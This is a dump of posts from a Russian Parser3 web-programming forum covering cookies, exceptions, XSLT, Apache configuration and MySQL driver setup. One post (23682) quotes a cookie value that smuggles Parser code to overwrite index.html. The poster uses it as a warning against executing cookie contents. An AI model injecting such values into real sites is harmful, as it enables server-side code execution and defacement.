+---LOGS\
\\---MODULES\
        ApacheModuleRewrite.dll[/code]и убедитесь, что оно всё ещё работает ;-)"
"23675","Во первых, это не загогулины, а Язык программирования. Я привел совершенно обыденный пример из Perl (с использованием CGI.pm), где я помещаю в куку ссылку на хэш. Почему такое же не реализовать на Парсер?\
\
Насчет сопровождения и вообще юзабельности, на мой взгляд, проще иметь дело с одной кукой в которой лежит структура (еще раз подчеркну, - структура и БД здесь не при чем) данных, которую в свою очередь можно с легкостью отдать какому-либо методу, нежели принимать туеву кучу кук, в итоге про половину забыть и получить ругань метода и головную боль по упомянутому сопровождению.\
Не знаю уж как там Парсер-программерам, но занимаясь Перлом постоянно приходится иметь дело с многомерными структурами ссылок и это совсем не пугает.\
\
А насчет лимитов кук, тут уже вопрос в кривости рук конкретных индивидумов. Хотя, как я вижу, Парсер от части идет по пути Java2, где низя, ибо могет быть ошибка."
"23676","Он достатчно большой.\
Хотя вот, надо попробовать сделать как Sanja - получить 500 Кб."
"23677","...на содержимое данной куки?\
(У меня нет под рукой CGI.pm дабы самому проверить, ставить лень)\
\
Сгодится просто контент соответствующего файла от IE."
"23678","Помогите разобраться!\
Есть форма на странице с двумя плями ввода action=\"./\", при нажатии на кнопку Submit, когда поля пустые страница не отображаеться. В чем дело?"
"23679","[quote]Во первых, это не загогулины, а Язык программирования.[/quote]\
\
Да ладно, не обижайтесь, ну назвал я, по-глупости своей, Язык программирования загогулинами, бывает :) Надесь Ларри Уолл на меня не в обиде.\
\
[quote]еще раз подчеркну, - структура и БД здесь не при чем[/quote]\
\
ну разумеется :) нельзя же понимать всё буквально. А БД здесь я приплёл в связи с похожими, как мне кажется, параллелями с 1-й нормальной формой, - надеюсь знаете что это такое.\
[quote]\
Не знаю уж как там Парсер-программерам, но занимаясь Перлом постоянно приходится иметь дело с многомерными структурами ссылок и это совсем не пугает.\
[/quote]\
И храните все эти сложные структуры у клиента? и получается значительную функциональность вашего сайта закладываете в эти куки А если у него куки отключены?\
\
По-моему, куки должны пользоваться только для простейших вещей, что-то более сложное нужно делать другим способом."
"23680","когда вам нужно сгенерирует вам соответствующую переменную, например (могу ошибиться в тексте, но думаю идея ясна):\
\
[code]\
$cookie:crazy[\
  ^$my_hash[\
    ^$.name[vasya]\
    ^$.family[pupkin]\
  ]\
]\
[/code]\
\
а когда вам приспичит, то вы возьмете и создадите из этой строки, считанной из куки хеш, используя taint и process. (думаю чем-то аналогичным занимается и perl: сериализует данные в строку при записи в куки...)\
\
НО. я продолжаю считать это жутким извращением. не всегда стОит механизмы, доступные в одном языке в лоб переносить в другой..."
"23681","@error[err]\
$err\
\
@show[]\
^if($form:start){\
$result[^error[поле пустое! не хорошо....]]\
}\
далее идет код, который без $form:start подохнет\
\
result[] в данном примере будет эквивалентно:\
return error(\"поле пустое! не хорошо....\");\
???\
\
По логике должно быть, но что-то лыжи не едут...."
"23682","увидев подобное лично приду и запишу в cookie \
[code]\
^$s[привет]^^s.save[/index.html]\
[/code]"
"23683","и\
\
result[] в данном примере вовсе не будет эквивалентно:\
return error(\"поле пустое! не хорошо....\");\
\
чем плохо?:\
[code]\
@show[]\
^if($form:start){\
	$result[поле пустое! не хорошо....]\
}\
далее идет код, который без $form:start подохнет\
[/code]\
а лыжи не едут скорее всего потому, что $result переопределяется в \"далее идет код, который без $form:start подохнет\" если да то вышеупомянутую конструкцию нужно ставить в конец или лучше пользоваться механизмом исключений."
"23685","а именно:\
[code]\
@show[]\
^if($form:start){\
	$result[поле пустое! не хорошо....]\
}{\
	Далее идет код, который без $form:start подохнет\
	Если поле start не заполненно, то суда мы не попадем\
	Зачем на лишние проблемы?\
}\
[/code]"
"23686","ну или вариант с исключениями, правда он менее очевиден."
"23687","С НФ я знаком. Просто создание структур данных - и есть нормализация, а вот запись через разделитель, как кто-то тут предлагал, это как раз то, о чем ты говорил и то, что я называю извращением. Именно из этих соображений я и подчеркнул слово \"структура\". Так что имхо БД тут как раз не при чем.\
\
Да, храню \"сложную\" (понятие относительное) структуру у клиента (к слову, сложная - не значит большая). А если у него вырублены куки, то он сам себе злобный баклан. Даже Lynx и тот поддерживает куки.\
\
На счет переноса влоб из других языков. Парсер позиционирует себя как язык скриптованя сайтов, т.е. полностью заточеный на интернет. Я от него ожидал (и в некоторых вещах он мои надежды оправдал) как раз простой и удобной реализации того, что в других не WEB языках, к коим относится и Перл, требует приложения бОльших усилий (опять таки с учетом количества Перл-лет все относительно). С куками вышел промах. Действительно, можно создавать временные таблицы с параметрами (к примеру) фильтров, но зачем, если пару текстовых строк можно кинуть в куку, а потом удобно их оттуда напрямую отдать методу? И опять таки таблицу надо будет чистить, значит хранить еще и таймстэмп последнего обращения по идентификатору. А как известно хороший программер - ленивый программер. (Если у юзера вырублены куки ему и такой метод не поможет :)"
"23689","И опять таки почему метод error лишний? А если я там логирую в нем ошибки как-нить по-хитрому?\
\
А насчет других вариантов - можно, только такая конструкция просто уже на подсознательном уровне пользуется, чтобы выкинуть из метода или вернуть результат другого метода :)"
"23691","Если $result[] дает выполнить дальейший код, то как тогда вернуть значение метода сию секунду без выполнения дальнейшего кода?"
"23692","Бессмысленно делать метод который просто выводит значение передаваемого параметра и ничего более. Если ведётся журнализация то он имеет смысл.\
\
> А если там куча проверок?\
\
Сделайте декомпоцицию метода"
"23695","Покопавшись в модуле CGI.pm было обнаружено, что он как раз пишет в куку строку с разделителями и кодирует амперсанды и знаки равенства. (Учитывая структуры array, hash, это не трудное дело).\
\
Впринципе это можно сделать и самостоятельно на парсере, но вопрос скорее в том, чтобы парсингом хэша занимался бы встроенный класс.\
\
Многомерность не поддерживается по определению перловых ссылок на области памяти. Глючил-с, прошу простить. Видимо я туда пихал списковые хэши и векторные массивы.\
\
За сим разрешите откланяться."
"23698","Помогите, как организовать забор из базы данных MySQL только тех строк, которые содержат заданное слово, даже если оно не вся строка, а меньше? Я использовал оператор like вот так:\
\
$query[select * from comp_ar\
	where (name like \"$form:userquery\") or \
	(comment like \"$form:userquery\") or\
	(site like \"$form:userquery\") or\
	(address like \"$form:userquery\")\
]\
\
^connect[$connect_string]{\
	$sql_result[^table::sql{$query}]\
}\
\
Но ничего не находит. Если всю строку запросить -- находит, а кусок строки не находит. Уже не один танец с бубном исполнил...\
\
(Проклятый заказчик на поиске помешался...)"
"23700","@show[]\
^try{\
	^if(!def $form:start){^throw[stop;now]}\
}{\
	$exception.handled(1)\
	$result[error: start is undef!]\
}\
[skipped запись в куки]\
^MAIN:dbconnect{\
	$base[^table::sql{SELECT nick FROM person LIMIT $cookie:start, $cookie:count}]\
}\
[skipped рисуем что-то]\
\
В итоге имеем ошибку мускля, а по идее код далее выполняться не должен бы...\
Если имелось в виду, что далее переходим в переопределенный метод unhandled Exception, то это не подходит.\
\
Наверное я жутко туплю :(("
"23702","Здравствуйте, есть необходимость сделать следующее преобразование:\
Имеется XML файл вида:\
============8<==========\
[code]\
<?xml version=\"1.0\" encoding=\"Windows-1251\"?>\
<gallery photos_per_row=\"2\" photos_per_column=\"2\" title=\"My very first gallery\" author=\"Nobody\" date=\"\" type=\"Misc\">\
	<photos>\
		<photo id=\"0\" title=\"First photo\" author=\"Nobody\" date=\"01.01.2003\" descr=\"This is my first photo\" />\
		<photo id=\"1\" title=\"Second shot\" author=\"Nobody\" date=\"02.01.2003\" descr=\"This is my second photo. Isn't it cool?\" />\
		<photo id=\"2\" title=\"The last, but not the least\" author=\"Nobody\" date=\"03.01.2003\" descr=\"\" />\
		<photo id=\"3\" title=\"4-th photo\" author=\"Nobody\" date=\"01.01.2003\" descr=\"This is my first photo\" />\
		<photo id=\"4\" title=\"5-th shot\" author=\"Nobody\" date=\"02.01.2003\" descr=\"This is my second photo. Isn't it cool?\" />\
		<photo id=\"5\" title=\"6-th photo\" author=\"Nobody\" date=\"03.01.2003\" descr=\"\" />\
		<photo id=\"6\" title=\"7-th photo\" author=\"Nobody\" date=\"03.01.2003\" descr=\"\" />\
		<photo id=\"7\" title=\"8-th photo\" author=\"Nobody\" date=\"03.01.2003\" descr=\"\" />\
	</photos>\
</gallery>\
[/code]\
============8<==========\
\
необходимо преобразовать в таблицу по 3 ячейки в строку\
вида:\
============8<==========\
[code]\
<tr><td>1</td><td>2</td><td>3</td></tr>\
<tr><td>4</td><td>5</td><td>6</td></tr>\
[/code]\
============8<==========\
\
сделал следующий xsl файл (не уверен в правильности)\
============8<==========\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
   <xsl:template match=\"gallery\"> \
      <html><head><title><xsl:value-of select=\"@title\" /></title></head> \
      <body><h1 align=\"center\"><xsl:value-of select=\"@title\" /></h1>\
	    <table cellspacing=\"0\" cellpadding=\"3\" border=\"1\" bordercolor=\"#135094\" align=\"center\">\
	       <xsl:apply-templates select=\"photos\" />\
	    </table>\
      </body></html> \
   </xsl:template> \
\
   <xsl:template match=\"photos\"> \
        <tr>\
        <xsl:for-each select=\"photo\"> \
		<xsl:choose>\
			<xsl:when test=\"@id mod 4=0\">\
			{!!!}</tr><tr><td><xsl:value-of select=\"@title\"/><xsl:value-of select=\"@id\"/></td>\
			</xsl:when>\
			<xsl:otherwise>\
			<td><xsl:value-of select=\"@title\"/><xsl:value-of select=\"@id\"/></td>\
			</xsl:otherwise>\
		</xsl:choose>\
        </xsl:for-each> 	\
	</tr>\
   </xsl:template> \
</xsl:stylesheet>\
[/code]\
============8<==========\
\
{!!!} - так вот проблема в том, что [code]</tr><tr>[/code] естественно не получается, т.к. закрывающий тэг предшествует открывающему.\
Как вариант есть мысль в xml файле сделать разбивку на [code]<section></section>[/code], но на мой взгляд это не есть gut, т.к. сразу накладывает ограничение на форматирование...\
\
Хочется спросить вашего мнения о возможном решении задачи."
"23703","и естественно, делать $exception.handled(1) надо делать лишь в том случае, если произошло ваше исключение, как вам показали [url=\"/forum/?id=23668\"]тут[/url]\
\
по моему вы не совсем поняли что такое try/throw... посмотрите в подробности доке.\
\
это не замена break. это некое подобие замены, не совсем полноценное.\
\
и мне не кажется, что в данном случае стОит делать это на исключениях... в этом месте значительно проще поставить if."
"23704","Как вы думаете, если бы там было одно условие, я стал бы заморачиваться? их там много, не буду же я весь код постить."
"23705","[Thu Nov 27 20:41:58 2003] [alert] [client 127.0.0.1] f:/program files/apache group/apache/htdocs/.htaccess: AddHandler not allowed here\
\
вот такие вот дела, ничего не понимаю."
"23706","[code]\
@show[]\
^try{\
^if(!def $form:start){^throw[stop;now;start is undef!]}\
...\
^if(!def $form:count){^throw[stop;now;count is undef!]}\
...\
\
}{\
$exception.handled($exception.type eq stop)\
$result[$exception.comment]\
}\
[/code]"
"23708","[Thu Nov 27 21:03:47 2003] [alert] [client 127.0.0.1] f:/program files/apache group/apache/htdocs/.htaccess: AddHandler requires at least two arguments, a handler name followed by one or more file extensions\
\
а теперь вот так"
"23709","[code]\
<xsl:template match=\"photos\">\
    <xsl:for-each select=\"photo[position() mod 3 = 1]\">\
        <tr>\
            <xsl:aplly-templates select=\".|following-sibling::photo[position() &lt; 3]\" />\
        </tr>\
    </xsl:for-each>\
</xsl:template>\
\
<xsl:template match=\"photo\">\
    <td>\
        <xsl:value-of select=\"@title\"/>\
        <xsl:value-of select=\"@id\"/>\
    </td>\
</xsl:template>\
[/code]"
"23711","AddHandler parser3-handler html\
\
сторочка из .htaccess"
"23716","из документации к LOAD DATA INFILE:\
[i]Команда LOAD DATA INFILE читает строки из [b]текстового файла[/b] и вставляет их в [b]таблицу[/b]...[/i]\
\
т.е. берется текстовый файл простейшей структуры (что-то типа tab-delimited) и вставляется в указанную вами таблицу текущей БД.\
А вставка непонятно чего непонятно куда в её планы не входит."
"23717","Весь код, который падет [b]обязан быть в ^try[/b] если он большой, - что мешает его вынести в отдельный метод, вызываемый затем в ^try?\
\
PS: и вот только не надо после этого говорить, что парсер это фигня, из-за подобных вещей."
"23718","[quote]\
При сложной обработке данных часто выясняется, что имеет место ошибка, в методе, вызванном из другого, а тот, в свою очередь, из третьего. Как в такой ситуации просто сообщить и обработать ошибку? \
Используйте оператор throw, чтобы сообщить об ошибке, и обработайте ошибку на верхнем уровне - и вам не придется проверять ее на всех уровнях вложенности вызовов методов. \
[/quote]\
http://www.parser.ru/docs/lang/exceptions.htm"
"23721","Константин! Прими наши поздравления и пожелания удачи :)"
"23724","С Удовольствием присоединяюсь к чужим пожеланиям  и добавляю свои!!! Приятно поздравить хорошего человека!"
"23725","Parser не находит драйвера MySQL и файлы с кодировкой. Я установил Parser (под FreeBSD 4.0), он работает, утсановил двайвера. Указал в \"главном\" файле auto.p сайта в методе @auto[] заново пути к драйверам. (Иначе не работало) Указал путь к драйверу СУБД так:\
\
$sqldriversdir[/cgi-bin/lib]\
\
Не работает. Путь неверен? Но как надо? Блин, я думал с этим проблемы не будет... Что делать?"
"23727","а не /корня/веб/пространства."
"23728","навигация находится в классе.\
\
@Showleftnav[]\
<table width=150 border=0 CELLPADDING=0 CELLSPACING=0 bgColor='#E0F9E5'>  \
\
^vnt[]\
                     \
</table>                       \
\
@vnt[]\
           ^if(-f \"${currenturi}section.cfg\"){\
                 $lmenu[^table::load[${currenturi}section.cfg]]\
                    ^lmenu.menu{\
                       ^Showlmenu_cell[]\
                     }\
                     }{<tr><td>спомогательного меню нет</td></tr>}\
\
\
\
@Showlmenu_cell[] \
^if($lmenu.uri eq $request:uri){ \
   <tr><td width=89 align=\"center\" class=vmenu bgColor='#D5EDD9'\" >  \
   $lmenu.title \
   </td></tr>\
 \
}{ \
   <tr><td width=89 align=\"center\" class=vmenu onmouseover=\"this.bgColor='#D5EDD9'\"\
          onmouseout=\"this.bgColor='#E0F9E5'\">  \
   <a href=\"$lmenu.uri\">$lmenu.title</a>\
   </td></tr>\
 \
}\
\
\
класс вызываю в auto.p\
\
$nav[^TNavigation::Init[]]^nav.Showleftnav[]\
\
Рузультат:\
\
если в этом разделе нет section.cfg то все в порядке в том месте где должна стоять менюшка надпись \"спомогательного меню нет\"\
но если же нидай бог этом разделе есть section.cfg  то:\
\
Unhandled Exception (Debug)\
(void) not a method or junction, can not call it\
menu\
\
t:/home/mynoni/www/classes/tnavigation.p(162)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
Showlmenu_cell t:/home/mynoni/www/classes/tnavigation.p(134)\
menu t:/home/mynoni/www/classes/tnavigation.p(133)\
if t:/home/mynoni/www/classes/tnavigation.p(131)\
vnt t:/home/mynoni/www/classes/tnavigation.p(126)\
Showleftnav t:/home/mynoni/www/auto.p(108)\
body t:/home/mynoni/www/auto.p(5)\
\
файл section.cfg выглядит вот так:\
uri	title\
biz/	Бизнес\
prod/	Продукция\
\
что не так делаю?"
"23731","@Init[]\
\
  $sitename[$env:SERVER_NAME]\
\
  $root[^table::load[/root.cfg]]\
\
\
  $rootcount(0)\
  ^root.menu{\
     ^if(def $root.status){}{\
        $rootcount($rootcount + 1)\
     }\
  }\
\
здесь прописан только root.\
\
надо еще и $lmenu прописывать?"
"23732","свои поздравление и наилучшие пожелания"
"23734","А что там в строке за номером 162?\
В ней ошибка, а как туда попадаем, понятно слабо..."
"23735","код не мой а с этого форума, я его просто чуток переделываю под себя:\
\
## Класс TNavigation\
##\
## 1. В переменную Sroot загружается файл /root.cfg, содержащий основное меню сайта\
##    Структура файла:\
##       uri/title/status/... [любое количество дополнительных полей]\
##     поле status может содержать одно из значений:\
##       hide   - скрыто в основном меню, \
##       admin  - только для администратора\
##	 \
## 2. Если в текущей папке находится файл section.cfg, то грузим его в переменную $section\
##    Структура файла:\
##       uri/title/... [любое количество дополнительных полей]\
##     если в поле uri стоит знак ~, то это не ссылка, а начало новой секции\
##     если поле uri не определено, то это ссылка на текущий раздел\
## \
## 3. Методы:\
##       Init[] - инициализация переменных\
##       SecondNav[] - строит таблицу со вторичной навигацией (\"градусник\", \"хлебные крошки\") \
##                     и записывает ее в переменную secondnav.\
##                     \
##\
##\
\
@CLASS\
TNavigation\
\
## ***********************************\
##       Инициализация переменных\
## ***********************************\
@Init[]\
\
  $sitename[$env:SERVER_NAME]\
  \
## Загружаем главное меню сайта\
  $root[^table::load[/root.cfg]]\
\
## Вычисляем количество записей\
  $rootcount(0)\
  ^root.menu{\
     ^if(def $root.status){}{\
        $rootcount($rootcount + 1)\
     }\
  }\
\
\
## ***********************************\
##        Вторичная навигация\
## ***********************************\
@SecondNav[][tempsection]\
\
## Инициализируем secondnav и записываем в него главную страницу\
   $self.secondnav[^table::create{uri	title}]\
   ^self.secondnav.append{/	$sitename}\
\
## Разбираем uri\
   $uri[$request:uri ]\
   $urisplit[^uri.lsplit[/]]\
   \
## Проходим по urisplit\
   ^urisplit.menu{\
     ^if((^urisplit.line[] > 1) && (^urisplit.line[] < $urisplit)){\
        ^if(^urisplit.line[] == 2){\
           ^if(^root.locate[uri;/$urisplit.piece/]){\
             ^secondnav.append{^if(^urisplit.line[] == ($urisplit - 1)){}{$root.uri}	^taint[as-is][$root.title]}\
           }         \
           $currenturi[$root.uri]\
        }{\
\
##         Если в текущей папке есть файл section.cfg, то ищем в нем\
           ^if(-f \"${currenturi}section.cfg\"){\
              $tempsection[^table::load[${currenturi}section.cfg]]\
              ^if(^tempsection.locate[uri;$urisplit.piece/]){\
                 ^secondnav.append{^if(^urisplit.line[] == ($urisplit - 1)){}{${currenturi}$tempsection.uri}	^taint[as-is][$tempsection.title]}\
              }\
           }\
           $currenturi[${currenturi}$urisplit.piece/]\
\
         }\
     }\
   } \
@ShowSecondNav[]\
     <table width=* height=15 border=0 CELLPADDING=0 CELLSPACING=0 align=left> \
      <tr>\
   ^SecondNav[]\
   ^secondnav.menu{\
      ^if(def $secondnav.uri){\
         <td height=13 class=vvmenu><img src=\"../images/strn.gif\" WIDTH=11 HEIGHT=13 border=0><a href=\"$secondnav.uri\" >^secondnav.title.lower[]</a></td>\
      }{\
         <td height=13 class=vvmenu><img src=\"../images/strn.gif\" WIDTH=11 HEIGHT=13 border=0>^secondnav.title.lower[]</td> \
      }\
   }[]\
      </tr>\
      </table>\
@ShowRoot[]\
<table width=541 height=30 border=0 CELLPADDING=0 CELLSPACING=0 bgColor='#E0F9E5'> \
  <tr>\
  <td width=1 height=30 bgColor='#ffffff'><img src=\"images/zero.gif\" WIDTH=1 HEIGHT=30 border=0></td> \
  ^root.menu{\
      ^ShowRoot_cell[]   \
   } \
   </tr> \
</table> \
\
\
@ShowRoot_cell[] \
    ^if(def $root.status){}{\
^if($root.uri eq $request:uri){ \
   <td width=89 align=\"center\" class=vmenu bgColor='#D5EDD9'\" >  \
   $root.title \
   </td>\
  <td width=1 height=30 bgColor='#ffffff'><img src=\"images/zero.gif\" WIDTH=1 HEIGHT=30 border=0></td>   \
}{ \
   <td width=89 align=\"center\" class=vmenu onmouseover=\"this.bgColor='#D5EDD9'\"\
          onmouseout=\"this.bgColor='#E0F9E5'\">  \
   <a href=\"$root.uri\">$root.title</a>\
   </td>\
  <td width=1 height=30 bgColor='#ffffff'><img src=\"images/zero.gif\" WIDTH=1 HEIGHT=30 border=0></td>   \
}  \
}    \
\
\
\
@Showleftnav[]\
<table width=150 border=0 CELLPADDING=0 CELLSPACING=0 bgColor='#E0F9E5'>  \
\
^vnt[]\
                     \
</table>                       \
\
@vnt[]\
           ^if(-f \"${currenturi}section.cfg\"){\
                 $lmenu[^table::load[${currenturi}section.cfg]]\
                    ^lmenu.menu{\
                       ^Showlmenu_cell[]\
                     }\
                     }{<tr><td>нет</td></tr>}\
\
\
\
@Showlmenu_cell[] \
^if($lmenu.uri eq $request:uri){ \
   <tr><td width=89 align=\"center\" class=vmenu bgColor='#D5EDD9'\" >  \
   $lmenu.title \
   </td></tr>\
 \
}{ \
   <tr><td width=89 align=\"center\" class=vmenu onmouseover=\"this.bgColor='#D5EDD9'\"\
          onmouseout=\"this.bgColor='#E0F9E5'\">  \
   <a href=\"$lmenu.uri\">$lmenu.title</a>\
   </td></tr>\
 \
}\
          \
           \
\
\
\
\
\
\
\
  ^tempsection.menu{\
      ^Showleftnav_cell[]   \
   } \
\
</table> \
\
\
@Showleftnav_cell[] \
\
^if($tempsection.uri eq $request:uri){ \
   <tr><td width=* align=\"center\" class=vmenu bgColor='#D5EDD9'\" > $tempsection.title </td></tr>\
  \
}{ \
   <tr><td width=* align=\"center\" class=vmenu onmouseover=\"this.bgColor='#D5EDD9'\" onmouseout=\"this.bgColor='#E0F9E5'\">  \
   <a href=\"$tempsection.uri\">$tempsection.title</a>\
   </td>\
   </tr>  \
}"
"23738","Хотелось бы узнать, почему возникает ошибка\
failed to load external entity \"f:///www/project/templates/common.xsl\"\
?\
Откуда берутся три слэша???\
\
Пишу на парсере:\
$tsDoc[^XMLDocument.transform[/templates/news.xsl]]\
^tsDoc.string[$.method[html]]\
\
Исходный код news.xsl:\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\" standalone=\"no\"?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
	<xsl:import href=\"common.xsl\"/>\
...\
</xsl:stylesheet>	\
Причем common.xsl лежит в том же каталоге что и news.xsl\
$env:DOCUMENT_ROOT=f:/www/project/\
\
О системе:\
win98, Апач 2.0.35, парсер установлен как cgi+xml, диск f создан командой subst.\
\
P.S.\
  на форуме  уже были вопросы на эту тему:\
  http://www.parser.ru/forum/?id=15458\
  http://www.parser.ru/forum/?id=10788\
  но остались без ответа :("
"23739","Доброй ночи вам!\
Делаю вот значит галерею и возник вопрос как проверить чтобы юзер вместо своих фоток файло всякое левое не закачивал...? Рассширение к примеру поменял и вместо картинки прислал какую-нибудь фигню."
"23740","http://crimnet.invex.ru/forum/view.html?id=*\
всё равно ошибка..."
"23741","2Sumo, пример конечно я навскидку дал, но есть вещи в которых\
ну просто нужно выйти из этого цикла.\
2egr, break и continue не уводят программу не бог весть куда(это вам не goto), они преждевременно приостанавливают цикл и идут дальше. \
2PAF - ладно я понимаю что авторы, и так потрудились на славу,\
это не к спеху и не болезнено, просто где-нить пометьте галочкой если вдруг новая там версия будет выходить. Да и еще тогда туда же parser считает цикл в 10 000 итераций бесконечным, может это настраивать как-нить в конфиге моно было бы? Я опять же понимаю, что обойтись можно, но принудительно 10 000 это как-то не в духе хорошего тона =) \
\
P.S. В целом я бесконечно удивляюсь что под сферой design-компании, такие программисты и родили целый язык - чесслово.\
\
P.P.S Вы еще в парсер что-нить на подобие LWP-perl mod, воткните,\
и компиляцию Parser-скриптов в C или Binary, потом все инструкцию для буржуев, чтоб знали, и все - долгая память и хвала навечно, планета вас не забудет! :)\
\
P.P.P.S Думаю уже сейчас можно на Parser`e web-операционку писать =)"
"23742","Я узнал путь от корня диска, он у меня /users/a/v/aviamts.ru/html/www.v2/. Файл auto.p находится в подкаталоге \"www.v2\". Я написал в нем путь так:\
$sqldriversdir[/users/a/v/aviamts.ru/html/www.v2/cgi-bin/lib]\
\
Но файл _test.htm пишет, что \"не найден\" файл с драйвером! В чем может быть ошибка? (Интернета осталось 50 минут, надо прототип сайта поставить...)"
"23744","Путь тот верен, потому как работает пароль на подкаталог с этим путем!!! А Parser выдает ошибку:\
\
can not open the module, /users/a/v/aviamts.ru/html/www.v2/cgi-bin/lib/libparser3mysql.so: Undefined symbol \"__stderrp\"\
\
На что похоже? Помогите."
"23745","... форматов gif, jpeg и png, то делается элементарно:\
[code]\
  ^try{\
    $image[^image::measure[$form:photo]]\
    ^form:photo.save[binary;/upload/$form:photo.name]\
  }{\
     ^if($exception.type eq image.format){\
       <strong>В галлерею принимаются только \
       файлы в формате gif, jpeg и png!</strong>\
     }\
   }[/code]\
\
Если нужно большее количество форматов, то лучше использовать средства утилиты identify пакета ImageMagick."
"23746","... когда без break и continue нельзя обойтись, или решение без них окажется громоздким и не эффективным.\
\
Насколько я помню в том же Обероне [да и в классическом Паскале] этих операторов нет и в помине, видимо Вирт со товарищи, не считал это необходимым... :)"
"23747","из моего класса. Смотрим примеры."
"23748","Установил парсер как cgi на subdomain.domain\
Когда обращаюсь на /file.cfg он обращается на domain/file.cfg.\
Незнаю в чем проблема(Apache или parser) и главное как это решить.\
Сбасибо заранее."
"23749","Все сделал по Уроку №5.\"Пользовательские классы Parser\",\
но когда пытаюсь зайти в свою гостевую книгу –\
появляется сообщение об ошибке(Unhandled Exception),\
а в файле [b]parser3.log[/b] появляется запись:\
.../gbook/: z:/home/test1.ru/www/gbook/index.html(9:49):\
[b]'USE ' invalid special name. valid names are 'CLASS',[/b]\
[b]'USE' and 'BASE' [parser.compile][/b]\
\
В 5 уроке написано:\
[b]В том случае если в качестве родительского[/b] \
[b]выступает другой пользовательский класс,[/b] \
[b]его необходимо подключить, а также объявить базовым.[/b]\
[b]Получится такая конструкция:[/b] \
\
[b]@CLASS[/b] \
имя класса \
\
[b]@USE[/b] \
файл родительского класса \
\
[b]@BASE[/b]  \
имя родительского класса     \
\
Я так понимаю, что есть\
какой-то другой пользовательский класс,\
который выступает родительским...\
Но кроме класса в 5 уроке других \
вроде бы не создавалось...\
\
В чем же ошибка?\
\
Заранее спасибо."
"23753","Существует ли какая-нибудь процедура, которая экспортирует указанные блоки parser'овского кода в документ Word?\
\
например, существует something.htm, где присутствуют блоки:\
\
@header[]\
Хайку\
\
@text[]\
Жили у старой женщины \
Две рыбы фугу. \
Одна белая, другая серая - две веселых рыбы.\
\
А с помощью искомой процедуры получился бы файл word'а, в котором заголовок стоял бы по центру, со стилем bold, а нижк следовал текст..."
"23754","и поставьте на domain. Когда прохаваете в Парсере хотя бы треть, поймете, в чем дело и сможете ставить как угодно - хоть на subsubdomain. А я вот еще трети своей не прохавал, поэтому затрудняюсь ответить конкретно."
"23755","первое что в голову пришло:\
сгенерировать парсером файл RTF его word понимает"
"23756","Parser выдает ошибку:\
\
can not open the module, /users/a/v/aviamts.ru/html/www.v2/cgi-bin/lib/libparser3mysql.so: Undefined symbol \"__stderrp\"\
\
При этом путь до драйвера указан верно, потому что этот же путь указан в файле с паролем подкаталога и пароль \"работает\"! Что это за ошибка? На что похоже? Версия двайвера правильная (FreeBSD 4.X), скаченная откуда же и Parser. Parser работает. MySQL с PHP работает..."
"23758","Ситуация следующая в таблице лежат различные хтмл теги мне необходимо избирательно преобразовать из текстового вида в реальный тег только < br > (бр).\
При использовании метода ^taint в хтмл будут преобразованы все теги из таблицы. Как мне сделать чтобы все теги кроме < br > оставались в текстовом виде?"
"23759","Ты генеришь страничку, как должен выгляджить документ и копи -> пасте в ворд... Он сам вставит все стили и т.д."
"23760","Уже было:\
Миша много раз повторял, и с ним теперь поностью согласен - \"не фиг трогать текст заносимый в базы\".\
\"Типографить\"(расставлять [code]<p>/<br>/&nbsp^;[/code] et c. в самой странице) можно перед отдачей тескта в бровзер, а вот в базе хранить только те теги, которые надо показывать на экране."
"23765","посмотреть в примерах про [url=\"/examples/regexp/\"]регулярные выражения[/url] и в шаблоне поиска заменить квадратные скобки на <>\
\
ну а что-бы понять что именно дает подобная замена почитать там-же (ну и в документации само собой) про [url=\"/examples/tainting/\"]taint/untaint[/url]"
"23766","Впервые драйвера MySQL ставлю. Установлю, потом только на Parser сайты буду делать. Помогите, хотя бы первый раз установить, я проект провалю... Сайт сделан, установить на сервер не могу из-за MySQL."
"23767","Предлагаете написать собственный скрипт? Разумно...\
Правда, нет ни времени, ни желания разбираться в этих длиннющих спецификациях. Может, кто-нибудь уже готовую подпрограмму даст?"
"23768","Во всяком случае, я не знаю тех, кому это было нужно."
"23769","Что-то не так слинковано...\
Сами собирали?"
"23770","Помогают только те, кто знает, что ответить. Это форум, бывает, что дельный совет появляется через неделю!\
Что вот толку в моем ответе? Прочтет мессагу грамотный человек и ответит.\
\
Всего хорошего."
"23771","Всего-всего!"
"23773","точно проверил wordXP нормально кушает.\
\
кстати может кто знает есть ли какие конвертеры RTF -> XML\
или может кто обладает таким чудом написаным на парсере или perl?"
"23774","...сделал с ^throw, но остановился на флаге, все работает.\
\
Буду исправляться потихоньку. Всем еще раз большой THX!"
"23775","А проьлема то собсно в чем? Там же все написано как ставить...\
Драйвера мускля копируются в директорию /cgi-bin/lib\
Если не заработало, надо указать путь к libmysqlclient, у меня на Mandrake и Mysql 4.1A (RPM) это /usr/lib/libmysqlclient.so.12.0.0"
"23776","и вообще что это такое, потому как находил информацию о непосредственно примерах использования, а вот о том что из себя представляют регулярные выражения и как их использовать(где в куске кода писать) ничего не нашел.\
\
Заранее спасибо."
"23778","Да, нет, откуда. Устанавливаю сайт на сервер www.net.ru. Драйвер взят с www.parser.ru. Я попробывал обои, там два, разных версий для FreeBSD. Но Parser-то работает. Установился нормально... Что-то страно...\
\
Ошибка выходит:\
can not open the module, ./lib/libparser3mysql.so: Undefined symbol \"__stderrp\" \
\
./lib/libparser3mysql.so\
config(1) \
\
Какой еще символ symbol \"__stderrp\"?\
\
Еще: в конф-ом файле указаны два файла драйверов для MySQL, а на вашем сайте один (libparser3mysql.so, libmysqlclient.so)"
"23779","Да, как раз libmysqlclient.so отсутсвует в поставке на сайте Parser.ru. И сейчас без него установлено. И-за этого думает?"
"23780","И правильно отсутствует, на него надо дописать полный путь в auto.p, а сам файлик идет вместе с MySQL."
"23782","А без него можно? Можно настроить двайвер MySQL без него? Он обязателен?\
\
Если обязателен, то на \"виртуальном сервере\" (т.е. хостинг от www.net.ru) какой путь указать, спросить у администратора?"
"23784","... рекомендовали сходить на сайт egr'а! Александр как раз хостится на net.ru... http://www.egoroff.spb.ru/portfolio/download/"
"23785","Не могу понять, почему SQL-запрос, состоящий из нескольких sql-операторов, как полагается, разделенные точкой с запятой, не проходит! Например:\
\
^void:sql[\
drop table table1;\
create table table2 ... ;\
]"
